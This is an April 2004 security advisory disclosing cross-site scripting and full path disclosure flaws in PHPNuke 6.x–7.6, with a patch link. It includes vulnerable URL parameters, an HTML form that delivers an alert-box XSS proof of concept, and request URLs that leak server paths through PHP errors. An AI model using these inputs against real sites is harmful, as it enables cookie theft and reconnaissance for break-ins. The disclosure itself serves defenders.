[SECURITYREASON.COM] Full path disclosure and XSS in PHPNuke part 3
-=[ Full path disclosure and XSS in PHPNuke ]=-
Author: sp3x
Date: 5. April 2004
In Memory of John Poul II :
===========================
"Love converts hearts and gives peace," - John Poul II
"To milosc nawraca serca i daruje pokoj ludzkosci, ktora wydaje się czasem
zagubiona i zdominowana przez sile zla, egoizmu i strachu" - Jan Paweł II
[WIELKI]
Affected software :
===================
PHPNuke version : 6.x - 7.6
Description :
=============
PHP-Nuke is a Web Portal System, storytelling software, News system, online
community or whatever you want to call it. The goal of PHP-Nuke is to have an
automated web site to distribute news and articles with users system. Each user
can submit comments to discuss the articles, just similar to Slashdot and many
others. Main features include: web based admin, surveys, top page, access stats
page with counter, user customizable box, themes manager for registered users,
friendly administration GUI with graphic topic manager, option to edit or
delete stories, option to delete comments, moderation system, Referers page to
know who link us, sections manager, customizable HTML blocks, user and authors
edit, an integrated Banners Ads system, search engine, backend/headlines
generation (RSS/RDF format), and many, many more friendly functions. PHP-Nuke
is written 100% in PHP and requires Apache Web server, PHP and a SQL (MySQL,
mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or Interbase).
Support for 25 languages, Yahoo like search engine, Comments option in Polls,
lot of themes, Ephemerids manager, File Manager, Headlines, download manager,
faq manager, advanced blocks systems, reviews system, newsletter, categorized
articles, multilanguage content management, phpBB Forums included and a lot
more.
Vulnerabilities :
*****************
Cross-site scripting - XSS :
============================
In PHPNuke there are XSS that can be used to steal cookies and do other
operations, which in
normal conditions are not permitted by browser's cross-domain security
restrictions.
Example :
=========
http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=mailpasswd&username=[XSS]
http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist&avatarcategory=[XSS]
http://[target]/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloadsetup&lid=[XSS]
To test XSS for example in
http://[target]/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloadsetup&lid=[XSS]
we can
create a form.
test.html :
-----------
<form name="mantra" method="POST"
action="http://[target]/[nuke_dir]/modules.php";>
<p>XSS:
<input type="text" name="lid">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="outsidedownloadsetup">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p>
</form>
-----------------
And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click
"Go!" :)
Full Path Disclosure :
======================
Full path to script must be kept in secret because it can lead to successful
attack on the
website. If the attacker know Full path to script , he can start searching some
more info on others folders or about the server where the site is and then try
to break in.
Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.
Examples :
----------
http://[target]/[nuke_dir]/index.php?forum_admin=1
Error message :
---------------
=====================================
Warning: main(): Unable to access ../../../config.php in
/[info]/www/html/mainfile.php on line 104
Warning: main(../../../config.php): failed to open stream: No such file or
directory in /[info]/www/html/mainfile.php on line 104
Fatal error: main(): Failed opening required '../../../config.php'
(include_path='.:/php/includes:/usr/share/php') in
/[info]/www/html/mainfile.php on line 104
======================================
More Full Path Disclosure :
---------------------------
http://[target]/[nuke_dir]/modules.php?name=Surveys&op=results&pollID=[id]&mode=&order=&thold=&tid=[something]
Error message :
---------------
=====================================
Fatal error: Cannot redeclare head() in /[info]/phpnuke/header.php on line 28
=====================================
http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist
Error message :
---------------
=====================================
Fatal error: Unknown function: nav() in
/[info]/phpnuke/modules/Your_Account/index.php on line 1462
=====================================
How to fix :
============
Download the new version of the script or update.
The fix : www.securityreason.com/patch/SecurityReason-Fix[2].rar
Also on www.nukefixes.com the fix will be avaible soon
Contact :
=========
sp3x[at]securityreason[dot].com
www.securityreason.com